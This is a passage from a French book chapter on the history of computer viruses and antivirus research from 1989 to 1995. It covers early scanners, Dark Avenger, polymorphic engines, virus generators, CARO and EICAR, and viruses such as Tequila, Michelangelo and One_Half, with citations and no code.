2.8.4 Recherche par signature Outre un READ.ME, IBM V SCAN comportait 3 fichiers : • VIRSCAN.EXE (l’exécutable de 44983 octets), • SIGFILE.LST (les signatures de virus fichier, 2873 octets), • SIGBOOT.LST (les signatures de virus système, 980 octets). Dans sa version d’octobre 1989, il détectait 28 virus. Portant le même nom de fichier que le produit d’IBM (VIRSCAN.EXE), mais destiné au grand public, un logiciel gratuit est distribué dès août 1989 sur FidoNet1. Le programme est mis au point par J. P. van der Landen et Jan Tersptra. Le second s’occupe du fichier de signature. Il se nomme VIRSCAN.DAT et détecte dans sa première version une vingtaine de virus. Quelques mois plus tard, d’autres produits tels que TBSCAN et HTSCAN (juin 1990) utiliseront ce même fichier. Les signatures sont simples, on n’utilise alors aucun caractère générique (ni joker, ni wildcard). Des recherches similaires ont lieu simultanément dans divers pays et de nombreux produits comparables apparaissent dès la mi 1989 (URSS, Israël…). Ne ciblant encore parfois qu’un seul virus, certains grands noms sortent de l’ombre : • Vesselin Bontchev, s’intéresse aux virus dès 1988. Il propose des logiciels gratuits (freeware). • Roger Riordan crée une première version de Vet (Cybec) en avril 1989 (elle ne détecte que le virus Stoned. • Avant de proposer F-Prot en avril 1989, Fridrik Skulason crée un programme détectant le seul Cascade. • John McAfee distribue VirusScan. C’est un logiciel contributif distribué gratuitement à l’essai (shareware). Une version licenciée peut être obtenue pour 15 dollars. Avec sa version 0.3V19 en date du 2 juillet 1989, 19 virus différents sont détectables auxquels s’ajoutent de nombreuses variantes. Un top-10 est édité, il regroupe, selon son auteur, plus de 90 % des infections recensées. • En décembre 1989, l’ordinateur d’Eugène Kaspersky est infecté par Cascade. Cet événement le pousse à changer de carrière et à créer son premier antivirus : -V (minus-virus) qu’il renommera bien plus tard AVP – AntiViral Toolkit Pro.
1. Fidonet est un réseau mondial de micro serveurs, aussi appelés serveurs ou BBS (Bulletin Board System).
PAGET_Ch02 Page 51 Lundi, 11. avril 2005 5:25 17
2.9 L’énigme du premier macro-virus
51
TOP-10 (source McAfee – Juillet 1989) Pakistani Brain Jérusalem Alameda Cascade (1701/1704) Ping-Pong Stoned Lehigh Den Zuko Datacrime (1280/1168) Fu Manchu
2.9 L’ÉNIGME DU PREMIER MACRO-VIRUS Lorsque apparaît en 1995, le virus Concept, de nombreux chercheurs anti-virus déclarèrent l’avoir depuis longtemps envisagé. Certains, avec le Docteur Harold Joseph Highland, en soupçonnaient même l’existence en Europe dès le milieu de l’année 1988.
© Dunod – La photocopie non autorisée est un délit
Dans un premier temps, ce scientifique préféra garder le silence, pour ne pas donner d’idées à certains vandales. Pour ne pas laisser les responsables sécurité dans l’ignorance, il se décida à publier, en août 1989, un article dans Computers & Security1. Un autre argument avancé fut la crainte infondée d’une telle menace du fait de l’existence de procédures de détection très simples pouvant prévenir toute infection. L’article commence ainsi : « Il y a presque un an de cela, alors qu’éclataient divers rapports nous alertant sur les virus informatiques – The Pakistani Brain, Lehigh’s COMMAND.COM, Friday the 13th, April 1st, Alameda Boot – nous recevions également des informations persistantes de virus s’attaquant aux feuilles de travail. À cette époque nous étions incapables d’en confirmer leurs existences. Nous décidions d’inclure cela parmi les hystéries collectives ou l’on crie à l’attaque virale alors qu’il ne faut voir qu’une erreur humaine ou un bug de programme. » Dans ce même papier, on apprend qu’une telle attaque eue lieu dans une grande entreprise multinationale à la fin de 1988. On apprend aussi que l’auteur de l’article et ses collègues réalisèrent, sous Lotus 123, un macro-virus de laboratoire dont l’objectif était l’altération d’une valeur dans une cellule de feuille de calcul lors de son 1. HIGHLAND, Harold Joseph (1989), Random Bits & Bytes, Computers & Security, Août 1989, pp178-188.
PAGET_Ch02 Page 52 Lundi, 11. avril 2005 5:25 17
52
Chapitre 2. Historique – de l’innocence à la tentation criminelle
ouverture. Dans le cas présenté, le virus utilisait une macro auto exécutable gérant les sauvegardes et certaines opérations réalisées en mode multi-utilisateurs. Elle était chargée automatiquement chaque fois qu’un fichier existant était ouvert. L’auteur indique qu’un macro-virus, « qui n’est pas un virus de données », peut être envisagé avec d’autres logiciels, voire avec un simple éditeur de texte, à partir du moment ou il est possible d’écrire ses propres macros. Pour se protéger, il indique la nécessité d’examiner la présence de macros avant l’ouverture d’un modèle ou d’une feuille de travail. Pour cela, il préconise : • l’utilisation de l’édition avancée des Norton Utilities1 pour retrouver le nom des macros à l’aide de l’éditeur hexadécimal, • l’évaluation, sous Lotus 123, des macros dont une liste vient d’être établie, • la recherche d’éventuelles lignes, colonnes ou cellules cachées. Deux jours après l’annonce de la prochaine diffusion de l’article, la revue avait reçu de nombreuses demandes de souches. Quatre émanaient de concepteurs de produit anti-virus. L’éditeur décida alors d’ajouter une note précisant : « Nous n’avons définitivement pas l’intention d’envoyer de virus à quiconque souhaite réaliser une intervention sur le sujet ou une démonstration publique. » Le comité éditorial concluait : « Nous apprécierons de ne plus recevoir aucune demande touchant les virus si elle n’émane pas d’un organisme gouvernemental. Nous décidons de ne plus fournir le moindre renseignement sur la macrovirus décrite dans nos colonnes. Veuillez ne plus nous écrire et ne plus nous téléphoner à ce sujet ; notre réponse sera toujours . » Telle fut, peut-être, la raison du silence qui persista jusqu’en 1994.
2.10 1989 – 1992 : INVESTIGATION ET CHALLENGE En juillet 1989 sort le premier numéro d’une publication internationale sur la prévention, la détection et la suppression des virus informatiques. Il s’agit du mensuel anglais Virus Bulletin. Aujourd’hui encore, il s’agit de la revue de référence du domaine. La plupart des chercheurs y écrivent régulièrement des articles. Très technique, elle a su dès l’origine proposer des descriptions complètes et précises sans jamais diffuser un seul morceau de code. Très régulièrement elle propose des comparatifs produits sans complaisance et distribue ses récompenses intitulés VB 100 % award. Très vite, les deux principales sources fiables de chaînes de recherche sont la revue Virus Bulletin et le produit IBM scanner.
1. Série d’utilitaires aujourd’hui distribuée par Symantec.
PAGET_Ch02 Page 53 Lundi, 11. avril 2005 5:25 17
2.10 1989 – 1992 : Investigation et challenge
53
Le forum VIRUS-L s’est lui aussi mis en place. Au travers des échanges de ses participants, il donne des informations sur les vers et les virus, aussi bien que sur les réseaux et les micros. C’est alors que les choses se compliquent à l’Ouest comme à l’Est.
2.10.1 Le vengeur ténébreux À partir du printemps 1989, un auteur bulgare se faisant appeler Dark Avenger imagine de nouveaux virus. D’une taille de 1800 octets, le premier d’entre eux porte le nom de son auteur. Intégrée au code, une chaîne de caractères précise : « This program was written in the city of Sofia © 1988-89 Dark Avenger ». C’est un infecteur rapide (fast infector) : une fois en mémoire, il est à même d’infecter un fichier lors d’une simple manipulation. Il n’est plus indispensable de l’exécuter pour l’infecter. Une simple copie d’un répertoire vers un autre s’avère suffisante. L’idée d’agir à l’ouverture du fichier est nouvelle. Cette stratégie contribue à la propagation et à la notoriété du virus et de son auteur. En effet, la simple utilisation d’un anti-virus obsolète en environnement contaminé, peut conduire à l’infection de l’ensemble des exécutables vérifiés. Dark Avenger.1800 est aussi destructeur et vicieux : il écrase, à chaque seizième exécution de son code, un secteur du disque choisi au hasard. Il entraîne ainsi des corruptions qui ne sont pas nécessairement repérées et qui peuvent corrompre silencieusement des sauvegardes effectuées postérieurement à l’apparition du virus.
© Dunod – La photocopie non autorisée est un délit
Dark Avenger signait nombre de ses virus, il s’amusait aussi à brouiller les cartes en faisant en sorte de les attribuer à des chercheurs tels que Vesselin Bontchev (Dark Avenger.2000, Dark Avenger.2100). C’est à cette époque qu’entrent en jeu les premiers BBS (Bulletin Board System) d’échange de virus. Dark Avenger les utilise pour diffuser ses créations et dialoguer avec d’autres auteurs. Il encourage la création de virus et l’esprit de compétition. Avec ses compatriotes il fait de la Bulgarie un leader dans la production des virus. Ceux-ci sont souvent destructeurs et contiennent des messages qui précisent leur provenance. En janvier 1992, les virus polymorphes se répandent. Depuis le Virus eXchange BBS, Dark Avenger annonce l’arrivée d’un nouveau venu capable de prendre 4.000.000.000 de formes différentes : C’est son Mutation Engine. Cet outil, parfois qualifié de révolutionnaire, est toujours source d’inspiration pour de nombreux auteurs de virus. MtE n’est pas en lui même un virus, mais une surcouche qui, appliquée à un virus existant, le crypte avec un module lui-même variable (polymorphie). Ce procédé tend à rendre partiellement inefficace les techniques de recherche de l’époque.
PAGET_Ch02 Page 54 Lundi, 11. avril 2005 5:25 17
54
Chapitre 2. Historique – de l’innocence à la tentation criminelle
L’utilisation d’un générateur de nombre aléatoire génère des changements à chaque mutation. Il n’est alors plus possible d’identifier deux variantes consécutives avec la même procédure de recherche. De plus, le générateur utilisé n’est pas nécessairement celui résultant de MtE ; un autre auteur de virus peut en intégrer un autre, issu de ses propres recherches. L’utilisation du MtE n’est pas à la portée de tous ; il faut de bonnes connaissances en assembleur. Parmi les virus créés sur ce principe, citons MtE.Pogue, issu de la famille Gotcha et créé par Masud Khafir (groupe TridenT). Il mettra au point un outil similaire au MtE en 1992 et 1993 : le TPE – TridenT Polymorphic Engine. Dark Avenger inventa bien d’autres techniques virales évoluées telle que celle du fractionnement. Il appliqua cette méthode à Commander Bomber. Elle consiste à insérer des parties de code viral en divers endroits du fichier infecté afin d’obliger l’anti-virus à mener une recherche étendue.
2.10.2 1260 : Le premier virus polymorphe En partant du virus Vienna, un américain nommé Mark Washburn crée le premier virus polymorphe (1260, alias V2P1)1. Sa particularité est qu’il utilise un encryptage variable. Le décrypteur, placé au début du virus peut prendre plusieurs formes. Les 8 instructions nécessaires au décryptage sont placées dans un ordre aléatoire tandis que d’autres instructions sans aucune utilité sont insérées ici et là. Ces instructions n’affectent aucunement le contenu des registres ; leur seule utilité est d’interdire l’utilisation d’une recherche basée sur une chaîne hexadécimale simple. Cet auteur créa des virus de plus en plus complexes (de V2P1 à V2P6, alias Chameleon). Certains éditeurs d’anti-virus mirent beaucoup de temps pour imaginer une solution fiable de détection. Ils devaient analyser statistiquement le code, repérer une éventuelle boucle de programmation et, pour certains, tenter un décryptage avant de poursuivre la recherche au sein des chaînes décryptées. Chez Sophos, le Docteur Jan Hruska intégre dans son scanner Vaccine une routine capable de comprendre le code à analyser. Il la baptise VDL (Virus Description Language). De son coté, Alan Solomon, répond par un outil de décryptage générique : GDE – Generic Decryption Engine. Il l’incorpore à sa technologie propriétaire Virtran.
2.10.3 Flip, Tequila ET Maltese Amoeba En septembre 1990, un virus très visuel voit le jour. Il est polymorphe et multipartite. Ce nouveau qualificatif est dédié aux virus infectant à la fois les zones système et les fichiers. À la différence de ses 2 prédécesseurs ( Anthrax et V1), il fonctionne !
1. The Shape Shifters, Virus Bulletin, novembre1993, pp 13-15.
PAGET_Ch02 Page 55 Lundi, 11. avril 2005 5:25 17
2.10 1989 – 1992 : Investigation et challenge
55
Son nom est Flip, (alias Omicron). S’il investit la machine d’un utilisateur, celuici risque d’être surpris : le deuxième jour de chaque mois, entre 16h et 16h59, l’affichage pivote de 180 degrés. Il faut éliminer le virus ou retourner son écran… L’auteur signe son virus avec le message : OMICRON by PsychoBlast 3 mois plus tard, en Suisse, l’auteur présumé de Flip crée Tequila. Il s’agit aussi d’un virus multipartite. Il est partiellement furtif et hautement polymorphe. Un ami de l’auteur, dont le père distribue des logiciels de jeu, le dérobe. Les logiciels sont infectés. Pour la première fois, un virus polymorphe se diffuse à grande échelle. Le principal effet du virus est l’affichage d’un bloc graphique représentant une courbe fractale de Mandelbrot1. L’affichage n’est pas systématique, il dépend de la date et du nombre de fichiers infectés. Divers textes sont appelés à l’écran. L’un d’entre eux aida sans doute la police dans sa recherche des coupables : Welcome to T.TEQUILA’s latest production. Contact T.TEQUILA/P.o.Box 543/6312 St’hausen/Switzerland. Loving thoughts to L.I.N.D.A BEER and TEQUILA forever ! Les 2 amis sont arrêtés le 20 mai 1991 dans le village suisse de St Hausen2. Outre la polymorphie, ce virus développe une autre subtilité : afin d’éviter les infections à répétition, le virus marque les fichiers infectés en mettant les secondes à 62 dans l’heure de modification. La commande DIR du DOS et l’Explorateur de Windows n’affichent pas les secondes. Le marqueur reste donc invisible pour un utilisateur non averti.
© Dunod – La photocopie non autorisée est un délit
Il faudra attendre plusieurs mois avant que les détecteurs reconnaissent Tequila sans omission. Lorsqu’ils arrivent au bout de leur peine, un nouveau venu, encore plus difficile à repérer, voit le jour : Maltese Amoeba. Bien qu’originaire de l’île de Malte, le virus est découvert en Irlande en septembre 1991. C’est un infecteur rapide, il cible les programmes .com et .exe à l’exécution comme à l’ouverture. Le 15 mars et le 1er novembre, il écrase certaines zones des disques durs. Une fois le travail accompli l’écran flashe périodiquement et indéfiniment. Au redémarrage de la machine, un poème s’affiche à l’écran. Il s’agit des 4 premières lignes des Auguries of Innocence du peintre, graveur et poète visionnaire anglais William Blake : To see a world in a grain of sand And a heaven in a flower 1. Mathématicien français d’origine polonaise né en 1924. Il découvre les fractales, objets mathématiques dont la création ou la forme ne trouve ses règles que dans l’irrégularité ou la fragmentation. Voir : http://perso.magic.fr/ormerry/fractales/fractal.html. 2. Virus Bulletin, juin 1991, p24.
PAGET_Ch02 Page 56 Lundi, 11. avril 2005 5:25 17
56
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Hold infinity in the palm of your hand And eternity in an hour. THE VIRUS 16/3/91. Un autre texte est contenu dans le code viral, il est visible une fois décrypté et nous renseigne sur l’origine du virus : AMOEBA virus by the Hacker Twins (C) 1991 This is nothing, wait for the release of AMOEBA II – The universal infector, hidden to any eye by ours! Dedicated to the University of Malta-the worst educational system in the universe, and the destroyer of 5X2 years of human life. À la lecture de cet épitaphe, certains proposèrent de mener des recherches dans l’université maltaise. Ils espéraient y trouver 2 étudiants entrés dans l’établissement en 1986 ou 87, toujours présents en mars 1991, poursuivant un cycle d’étude de 5 années et ayant étudiés Williams Blake1.
2.10.4 Tous azimuts pour les virus et les anti-virus Au cours des années 1990, le nombre des virus augmente fortement. Le phénomène intéresse les chercheurs et séduit les éditeurs de logiciel. En janvier 1991, on estime qu’il existe entre 200 à 300 virus. Le 7 décembre 1990, la presse française annonce le lancement par Symantec de Norton Antivirus 1.0. Il comprend un module résident en mémoire (Virus Intercept) et un module de diagnostic (Virus Clinic). De son coté, Joe Wells, commence sa carrière de chercheur anti-virus chez Certus International. Mark Ludwig sort son livre The Little Black Book of Computer Viruses2. Il contient des informations générales sur les virus et des codes sources. Les virus présentés n’ont rien d’innovant. Ils se nomment Timid, Intruder, Kilroy, Stealth. Deux ans plus tard, la traduction française du livre3 par Jean-Bernard Condat est très controversée en France. Pour les anti-virus, le travail n’est pas simple. Le DOS ne gérant que 640 Ko, les chaînes de recherches tiennent de moins en moins facilement en mémoire. L’antivirus et les pilotes réseau se bousculent, ils ont parfois bien du mal à cohabiter. Le temps d’analyse augmente, les identifications ne sont pas toujours exactes et les confusions entraînent des erreurs de réparation. Les utilisateurs se plaignent et les 1. BECKETT, James, (1991), Maltese Amoeba… Poetic Injustice, Virus Bulletin, Décembre 1991, pp15-16. 2. LUDWIG Marc, (1991), The Little Black Book of Computer Viruses, American Eagle Publication, Inc., ISBN 0-929408-02-0. 3. LUDWIG Marc, (1993), Naissance d’un Virus, Addison-Wesley, Traduit de l’anglais (américain) par Jean-Bernard Condat, ISBN : 2-87908-063-7.
PAGET_Ch02 Page 57 Lundi, 11. avril 2005 5:25 17
2.10 1989 – 1992 : Investigation et challenge
57
auteurs de virus s’en donnent à cœur joie. Regroupés autour de BBS nationaux clandestins, ils facilitent la propagation et vulgarisent leur savoir.
© Dunod – La photocopie non autorisée est un délit
Dark Avenger n’est pas seul, tout un chacun cherche à faire connaître ses créations pour s’imposer comme précurseur dans le domaine : • En octobre 1989, Frodo est découvert à Haïfa en Israël. Il s’agit du premier virus programme totalement furtif. De par sa conception, il doit endommager les disques durs, à compter du 22 septembre de chaque année mais un disfonctionnement n’entraîne qu’un arrêt brutal de la machine. De leur coté, des auteurs bulgares diffusent le virus 512, lui aussi totalement furtif. Un autre virus fonctionne encore plus mal que Frodo, mais sa taille et sa complexité intrigue. Apparu en août 90, Whale comporte de nombreuses techniques de protection contre le désassemblage et en fait le premier virus défensif. • En Avril 1990, apparaît le premier virus compagnon (AIDS-II.8064). Son origine semble être hollandaise. Contrairement à ses prédécesseurs, il laisse inchangé le fichier .exe qu’il vise mais crée un fichier .com du même nom. Tirant partie de la priorité réservée par le DOS aux fichiers .com vis à vis des .exe, le code viral s’exécute de manière prioritaire à l’appel du programme. • En janvier 1991, un virus multipartite d’un genre particulier est découvert à Moscou1. Surnommé Starship, il maintient son code dans l’espace dédié à la mémoire vidéo pour ne se transférer en mémoire RAM. Il contient des routines interdisant son traçage et son désassemblage. L’environnement NetWare de Novell fait l’objet d’expérimentations, en juin 1991. GP1 est dérivé de Jerusalem. Son auteur cherche à démontrer qu’il est possible de détourner des mots de passe. Le code réalisant cette fonctionnalité est bogué, mais peut, selon les experts, être aisément rendu fonctionnel2. • En septembre 1991 apparaît le premier virus délocalisé. Venant de Bulgarie, DIR-II modifie les entrées de la table d’allocation des fichiers faisant pointer l’ensemble des fichiers ciblés vers un même cluster3. Caché là en un seul exemplaire, le virus s’exécute avant de redonner la main au programme légitime4. À cette époque la Bulgarie fait de plus en plus parler d’elle. Vesselin Bontchev écrit en 1991 un document intitulé les « usines à virus » russes et bulgares5. Il explique que le pays occupe depuis 1989 la première place pour le nombre de 1. MUTTIK Igor, 1992, STARSHIP – interresting file-boot virus, Disponible à l’adresse: http://sacftp.externet.hu/text16.html. Fichier STARSHIP.ZIP. 2. BABCOCK, Eric, (1991), Novell’s Analysis of the GP1 Virus, Virus Bulletin, Août 1991, p9. 3. Sur un support physique, ensemble de secteurs qui se suivent immédiatement d’un point de vue logique. C’est l’espace le plus petit pouvant être géré par le système. Limité à un secteur pour les disquettes, il varie selon la taille du disque dur. 4. BATES, Jim (1991), DIR II – The Much Hyped “Linking” Virus, Virus Bulletin, Novembre 1991, pp11-14. 5. BONTCHEV Vesselin, (Septembre 1991), The Bulgarian and Soviet Virus Factories, Première conférence du « Virus Bulletin ».
PAGET_Ch02 Page 58 Lundi, 11. avril 2005 5:25 17
58
Chapitre 2. Historique – de l’innocence à la tentation criminelle
virus créés chaque année. Ils font l’objet de nombreuses variantes (Murphy, Nomenclatura, Beast, Tiny…). Toutes les avancées techniques sont analysées par les adeptes des différents BBS qui s’ouvrent dans de nombreux pays. Précurseurs d’Internet, ils proposent des centaines de virus au téléchargement. C’est du donnant-donnant. Il faut apporter soimême des nouveautés pour pouvoir obtenir quelques souches intéressantes. Cette pratique provoque la multiplication des fichiers suspects. Nombre d’entre eux sont innocents ou bogués. Ils encombrent les laboratoires de recherche et doivent être détectés au risque d’apparaître moins performant.
2.10.5 La riposte des chercheurs Le 19 avril 1991, un journal local allemand Der Aarbote présente 2 nouvelles organisations dédiées à la lutte anti-virale : • le CARO (Computer Antivirus Research Organization). Autour du professeur Klaus Brunnstein, il regroupe les scientifiques en les aidant à coordonner leurs travaux. • l’EICAR (European Institute for Computer Anti-Virus Research). Il doit rassembler les sociétés commerciales du domaine, les scientifiques et les utilisateurs s’intéressant à la recherche anti-virale. Le CARO avait été créé en décembre 1990. À la mi-1991, il comprenait 7 membres : • • • • • • •
Vesselin Bontchev, Académie des Sciences de Sofia, Université d’Hambourg. Klaus Brunnstein, Université de Hambourg. Christoph Fischer, Université de Karlsruhe, Micro-BIT Virus Center. Alan Solomon, S & S International, Grande Bretagne. Fridrik Skulason, Université de Reykjavik. Morton Swimmer, Université d’Hambourg. Michael Weiner, Université of Vienne.
Le 24 septembre 1991 à Bruxelles, s’ouvre la première conférence EICAR/ CARO. Christoph Fisher lance une invitation sur VIRUS-L. La veille, l’EICAR est officiellement fondée. Outre la plupart des membres du CARO, on retrouve une trentaine de personnes dont entre autre : • • • •
Paul Ducklin (Afrique du Sud). Paul Langemeyer (Allemagne). Gunther von Gravenreuth (Allemagne). Gunther Musstopf (Allemagne).
PAGET_Ch02 Page 59 Lundi, 11. avril 2005 5:25 17
2.11 1992 – 1995 : Générateurs et sophistication
59
• Roger Riodan (Australie). • Eddy Willems (Belgique). Ces deux organismes existent encore aujourd’hui. Le CARO est un lieu de d’échanges privés entre spécialistes. L’un de ses rôles est l’unification des noms des virus. Il permet aussi des échanges rapides et sécurisés. Il n’a aucune ouverture vers le public et les médias. Active dans les pays germanophones, l’EICAR concentre ses efforts dans la lutte contre la programmation et la prolifération des codes malveillants, tel que les virus informatiques ou les chevaux de Troie, et contre la délinquance informatique, la fraude et l’utilisation détournée des ordinateurs et réseaux informatiques. Elle organise chaque année une conférence qui rassemble une grande partie des spécialistes du domaine.
2.10.6 Michelangelo En 1991, en Australie, Roger Riordan de Cybec découvre une nouvelle variante de Stoned. Il constate que le virus se déclenche le 6 mars. Ce jour là, il est programmé pour écraser une zone d’environ 8 mégaoctets sur les disques durs infectés. Pour lui trouver un nom de baptême, Roger cherche un évènement attaché à cette date. Il surnomme alors sa trouvaille Michelangelo dont l’anniversaire de naissance est le 6 mars (1475).
© Dunod – La photocopie non autorisée est un délit
Ce virus provoquera en 1992 le principal événement médiatique du domaine. Son apparition marque aussi la fin d’une époque. Jusqu’ici les virus étaient souvent restés discrets et cantonnés dans un monde de spécialistes. Ils vont maintenant sortir au grand jour.
2.11 1992 – 1995 : GÉNÉRATEURS ET SOPHISTICATION Même si leur création fut longtemps auréolée de mystère, la mise au point d’un virus a rarement nécessité de capacités intellectuelles particulières. Bons nombres de groupes ou d’individus voulurent cependant en rendre l’écriture plus facile en diffusant des générateurs de virus. Toute personne curieuse et sachant taper sur un clavier put ainsi s’initier à l’écriture virale. En 1990, le premier générateur voit le jour en France. Il se nomme Genvirus. Distribué directement par son auteur, il est conçu comme un logiciel d’application classique avec ses menus déroulants. Le choix des techniques d’infection est varié ; il en est de même pour les actions de perturbation et de destruction. Semblablement à ses futurs cousins étrangers, il est présenté comme un logiciel de test d’anti-virus : « GENVIRUS a été écrit pour comprendre et démontrer le fonction-
PAGET_Ch02 Page 60 Lundi, 11. avril 2005 5:25 17
60
Chapitre 2. Historique – de l’innocence à la tentation criminelle
nement des virus informatiques et également tester l’efficacité de la protection des programmes “antivirus” disponibles sur le marché. » Originaire d’Allemagne, vint ensuite, en mars 1991, VCS V1.0 (Virus Construction Set). Avec cet outil, tous les virus générés ont la même taille. Une chaîne de détection unique permet la détection de toutes les variantes créées. Manta fut la plus connue d’entres-elles. Ces premiers générateurs n’étaient pas très techniques. Il fallut attendre 1992 pour voir des outils capables de produire de nombreux virus distincts. Au travers de ces outils, ce sont en fait les groupes NuKE (USA, Californie) et Phalcon/Skism (Canada) qui se mesurent : • en juillet 1992, VCL, Virus Creation Laboratory est proposé par Nowhere Man, membre du groupe NuKE. VCL possède une interface graphique soignée et efficace. En quelques clicks souris vous créez votre virus. • PS-MPC, Phalcon/Skism – Mass-Produced Code Generator 0.90B est créé par Dark Angel. Il sort le même mois. Sur les traces de Dark Avenger, un Hollandais du groupe TridenT au pseudo de Masud Khafir écrit TPE : Trident Polymorphic Engine. C’est un outil complexe et sophistiqué qui fit l’objet de plusieurs versions successives. Sous la forme d’un fichier objet, c’est un module, qui doit être inclut dans un programme pour le rendre capable de produire des routines polymorphes. L’ensemble doit être compilé avant utilisation. TPE.1_0.Girafe.A est l’un des virus que l’auteur créa à partir de son engin. En 1993, Dark Angel, du groupe canadien Phalcon/Skism lance DAME : Dark Angel’s Multiple Encryptor. Ce nouvel outil est diffusé au travers de leur revue électronique 40Hex1. La course aux outils de mutation se poursuit ensuite inlassablement : • Avril 1993 – Mark Ludwig / USA – VME (Visible Mutation Engine). • Août 1993 – Black Wolf /USA – Ultimate Mutation Engine. • Septembre 1993 – Black Baron / Grande-Bretagne – SMEG (Simulated Metamorphic Encryption Generator). • Septembre 1993 – Dark Slayer /Taiwan – DSME (Dark Slayer Mutation Engine). • Décembre 1993 – Mark Ludwig / USA – DGME (Darwinian Genetic Mutation Engine). • Décembre 1993 – Bit Addict / Hollande – DMU (Dutch Mutation Unit). Une trentaine de nouveaux programmes du même type voient le jour en 1994. Cette profusion d’outils et donc de virus potentiels amènent les concepteurs d’anti-
1. 40 HEX : premier numéro en juin 1991, quatorzième et dernier numéro en avril 1995.
PAGET_Ch02 Page 61 Lundi, 11. avril 2005 5:25 17
2.11 1992 – 1995 : Générateurs et sophistication
61
virus à améliorer sans cesse les routines de décryptage générique qui s’activent avant le processus d’identification virale.
2.11.1 Natas, One_Half et les autres Les virus proviennent du monde entier et deviennent de plus en plus courant. La proportion de virus destructeurs est stable, mais les dommages sont plus fréquents. Plusieurs nouveautés posent de gros problèmes. En septembre 1992, alors que Windows 3.1 voit le jour, les auteurs de virus s’attaquent avec succès à la structure de ses exécutables (New EXE files). Masud Khafir, auteur de TPE, propose Winvir_1_4. Non résidant en mémoire, le virus n’est pas performant. Néanmoins, il tient compte de la structure segmentée des fichiers windows. La chaîne de caractères MK92 contenue dans le code reprend les initiales de l’auteur. Il faudra attendre mars 1996 pour qu’un virus dédié à Windows 3.x se propage de manière importante : il s’agit de W16/Tentacle.1966. Après Winvir_1_4, Massud Khafir diffuse en janvier 1993 Cruncher. C’est aussi une première. C’est un virus compresseur qui compacte les fichiers .com qu’il infecte. Le résultat est surprenant et fit dire à certains qu’il s’agissait également du premier virus bénéfique1. On constate en effet qu’un disque dur infecté a son espace disponible augmenté sans perte de données.
© Dunod – La photocopie non autorisée est un délit
Dans le 40Hex de décembre 1993, un américain au pseudo de Priest présente Natas2. Dans la lignée de Tequila, le virus est furtif, polymorphique et multipartite. Certaines sources indiquent qu’il fut écrit par un employé d’une société anti-virus américaine. Selon Georges Smith3, c’est après avoir écrit le virus que son auteur aurait été approché par Norman Data. Il s’agirait d’un adolescent de San Diego (USA) du nom de James Gentile. Ecrit en Tchécoslovaquie en 1994, One_Half arrive comme un nouveau cassetête pour les compagnies anti-virales. Une partie de son code est éparpillé en divers endroits du fichier qu’il infecte. Il faut suivre son cheminement pour pouvoir espérer le décrypter, le détecter et l’éradiquer de manière efficace. À chaque démarrage de la machine, le virus crypte deux cylindres du disque dur. Il commence à la fin du disque et ne s’arrête que lorsque celui-ci est crypté de moitié4. C’est à ce moment qu’il se manifeste visuellement, il affiche le message Dis is one half. Tant que l’ordinateur est contaminé, le virus décrypte les données à la volée. Si l’utilisateur nettoie sans précaution son disque, son contenu est perdu. Pour le récupérer, il faut faire appel à des outils spéciaux et des procédures manuelles complexes. 1. KASPERSKY Eugène (1993a), Cruncher – The first Beneficial Virus ?, Virus Bulletin, juin 1993, pp8-9. 2. Satan à l’envers. 3. SMITH Georges (1996), The Virus Creation Labs: A Journey Into the Underground, American Eagle, ISBN 0-929408-09-8. 4. KASPERSKY Eugène (1994b), One_Half: The Lieutenant Commander ?, Virus Bulletin, octobre 1994, pp 9-10.
PAGET_Ch02 Page 62 Lundi, 11. avril 2005 5:25 17
62
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Bien d’autres virus sont créés ces années là. C’est la course à la sophistication : • En octobre 1992, le virus système EXEBug modifie la CMOS1 pour interdire le démarrage sur disquette ; en décembre 1992, Dark Avenger distribue Commander Bomber. Jusqu’à présent, les virus positionnaient physiquement leur code avant ou après le code du programme originel (appending ou prepending virus) ; d’autres se contentaient d’écraser leur cible en prenant leur nom (overwriting virus). Commander Bomber insère son code à une position choisie aléatoirement. Avant d’écraser la zone choisie, il la déplace en fin de fichier. Le saut vers son code se fait depuis le point d’entrée normal après une longue succession d’instructions sans intérêt (junk code) destinée à tromper les anti-virus2 ; au début 1993, BatMan devient le premier virus résidant en mémoire ciblant les fichiers de commandes (.bat, type batch). Il est capable d’infecter d’autres fichiers du même type. • À la même époque, Tremor devient le premier rétro-virus. Avant d’écrire le virus, son auteur, un allemand au pseudo de Neurobasher prit le temps de désassembler divers anti-virus. Le virus est en effet capable de désactiver le module résident de VSAFE (Central Point Anti-Virus) et de modifier son emplacement en mémoire si F-PROT était lancé simultanément3. • Fin 1993, Arj-virus démontre qu’il est possible d’infecter un fichier à l’intérieur d’une archive. • En janvier 1994, Eugène Kaspersky reçoit un virus capable d’infecter les fichiers objets (.obj) pré-exécutables. Ces fichiers sont les intermédiaires entre les fichiers sources du programmeur et l’exécutable produit par l’éditeur de lien (linker)4. Surnommé Shifting Objectives, le virus infecte les fichiers assignés à la création des .com. Selon un principe similaire, des virus s’attaquant directement aux fichiers sources des compilateurs C et Pascal sont aussi rencontrés à la même époque5. • En octobre 1994, un virus capable d’infecter le fichier système io.sys (ou son équivalent ibmbio.com) est découvert à Moscou. Il s’agit du premier virus s’attaquant aux routines BIOS du DOS. Il est baptisé 3APA3A ; il faut prononcer Zaraza, qui correspond en russe au terme infection. Polymorphique et difficile à éradiquer, il se propage via les échanges de disquettes6.
1. CMOS : Sigle de semi-conducteur d’oxyde de métal complémentaire (Complementary Metal Oxide Semiconductor). Dans les ordinateurs, les puces de mémoire CMOS sont souvent utilisées pour l’enregistrement en mémoire non volatile des données d’initialisation. 2. VB, 1992a, Commander Bomber, Virus Bulletin, décembre 1992, pp10-11. 3. BATES, Jim (1993), Tremor – A Shaky Start for DOS 6 ?, Virus Bulletin, mars 1993, pp 10-11. 4. KASPERSKY Eugène (1994), Shifting Objectives, Virus Bulletin, mars 1994, pp11-12. 5. KASPERSKY Eugène (1994), Lock up your Source code!, Virus Bulletin, juin 1994, pp 10-11. 6. KASPERSKY Eugène (1994), 3APA3A: The IO.SYS Hunter, Virus Bulletin, novembre 1994, pp 9-10.
PAGET_Ch02 Page 63 Lundi, 11. avril 2005 5:25 17
2.11 1992 – 1995 : Générateurs et sophistication
63
